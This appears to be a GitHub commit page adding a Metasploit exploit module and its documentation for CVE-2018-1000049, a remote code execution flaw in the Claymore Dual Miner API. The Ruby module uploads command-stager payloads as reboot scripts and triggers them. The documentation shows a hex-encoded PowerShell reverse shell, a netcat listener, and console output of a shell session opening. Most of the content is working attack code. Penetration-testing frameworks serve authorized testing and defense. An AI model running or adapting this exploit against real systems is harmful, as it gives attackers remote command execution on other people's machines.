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Land rapid7#10064, Claymore Dual Miner API RCE
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@wvu
wvu committed Jul 16, 2018
2 parents f028428 + 43d71cd commit 9a7c34e
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48 changes: 48 additions & 0 deletions documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md
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## Description

This module connects to the Claymore Dual Miner API server to exploit the RCE.
This module can target the remote system if the miner is running with read/write mode enabled.

## Vulnerable Application

[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner
configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker
can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI.

## Verification Steps

1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333`
2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}`
3. Run on terminal: `nc -lvp 1234`
4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo`
5. You should get a shell

## Options

**RHOST**

Remote Host

**RPORT**

Remote port the vulnerable software is running at, default is 3333.


### Remote target

```
msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234
lport => 1234
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit
[*] Started reverse TCP handler on 127.0.0.1:1234
[*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000
whoami
reversebrain
```
185 changes: 185 additions & 0 deletions modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Nanopool Claymore Dual Miner APIs RCE',
'Description' => %q{
This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
},
'Author' =>
[
'reversebrain@snado', # Vulnerability reporter
'phra@snado' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '44638'],
['CVE', '2018-1000049'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Automatic Target', { 'auto' => true }],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ]
}
],
[ 'Windows',
{
'Platform' => 'windows',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DisclosureDate' => 'Feb 09 2018',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
])
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end

def select_target
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
if tmp2.scan(/\w+/)[7]
return self.targets[2]
elsif tmp2.scan(/\w+/)[5]
return self.targets[1]
else
return nil
end
end

def check
target = select_target
if target.nil?
return Exploit::CheckCode::Safe
end
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
when 'linux'
hex = tmp2.scan(/\w+/)[5]
when 'windows'
hex = tmp2.scan(/\w+/)[7]
end
str = Rex::Text.hex_to_raw(hex)
if str.include?('WARNING')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Detected
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
ensure
disconnect
end

def execute_command(cmd, opts = {})
target = select_target
case target['Platform']
when 'linux'
cmd = Rex::Text.to_hex(cmd, '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bash', "#{cmd}"]
}.to_json
when 'windows'
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json
end

connect
sock.put(upload)
buf = sock.get_once || ''
trigger_vulnerability
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
disconnect
end

def trigger_vulnerability
execute = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_reboot'
}.to_json
connect
sock.put(execute)
buf = sock.get_once || ''
disconnect
end

def exploit
target = select_target
if target.nil?
fail_with(Failure::NoTarget, 'No matching target')
end
if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i)
fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'")
end
case target['Platform']
when 'linux'
execute_cmdstager(flavor: :echo, linemax: 100000)
when 'windows'
execute_cmdstager(flavor: :vbs, linemax: 100000)
end
end
end

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